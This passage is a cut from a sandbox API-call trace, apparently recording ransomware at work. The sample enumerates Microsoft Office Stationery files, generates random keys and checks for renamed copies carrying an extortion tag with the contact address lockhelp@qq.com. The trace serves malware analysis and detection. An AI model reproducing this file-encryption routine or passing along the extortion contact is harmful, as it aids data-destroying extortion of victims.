hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.511] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=233) returned 1 [0055.511] CloseHandle (hObject=0x174) returned 1 [0055.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0055.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.511] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.512] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1920) returned 1 [0055.512] CloseHandle (hObject=0x174) returned 1 [0055.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0055.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.513] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.513] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=15776) returned 1 [0055.513] CloseHandle (hObject=0x174) returned 1 [0055.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg")) returned 0x20 [0055.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.513] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.513] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=37316) returned 1 [0055.513] CloseHandle (hObject=0x174) returned 1 [0055.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf")) returned 0x20 [0055.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.514] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.514] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=237) returned 1 [0055.514] CloseHandle (hObject=0x174) returned 1 [0055.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0055.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.515] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.515] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=4734) returned 1 [0055.515] CloseHandle (hObject=0x174) returned 1 [0055.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0055.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.516] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.516] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=81292) returned 1 [0055.517] CloseHandle (hObject=0x174) returned 1 [0055.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf")) returned 0x20 [0055.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.517] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.517] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1990) returned 1 [0055.517] CloseHandle (hObject=0x174) returned 1 [0055.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg")) returned 0x20 [0055.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.518] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.518] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=232) returned 1 [0055.518] CloseHandle (hObject=0x174) returned 1 [0055.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0055.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.519] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.520] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=10569) returned 1 [0055.520] CloseHandle (hObject=0x174) returned 1 [0055.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0055.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.520] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.520] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=230) returned 1 [0055.521] CloseHandle (hObject=0x174) returned 1 [0055.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0055.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.521] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.522] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=7505) returned 1 [0055.522] CloseHandle (hObject=0x174) returned 1 [0055.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0055.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.522] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.522] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1864) returned 1 [0055.522] CloseHandle (hObject=0x174) returned 1 [0055.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif")) returned 0x20 [0055.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.523] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.524] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=3650) returned 1 [0055.524] CloseHandle (hObject=0x174) returned 1 [0055.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg")) returned 0x20 [0055.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.524] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.524] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=4638) returned 1 [0055.524] CloseHandle (hObject=0x174) returned 1 [0055.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif")) returned 0x20 [0055.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.525] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.525] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=26720) returned 1 [0055.525] CloseHandle (hObject=0x174) returned 1 [0055.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf")) returned 0x20 [0055.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.525] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.526] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=3168) returned 1 [0055.526] CloseHandle (hObject=0x174) returned 1 [0055.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg")) returned 0x20 [0055.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.526] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.527] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=15063) returned 1 [0055.527] CloseHandle (hObject=0x174) returned 1 [0055.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft 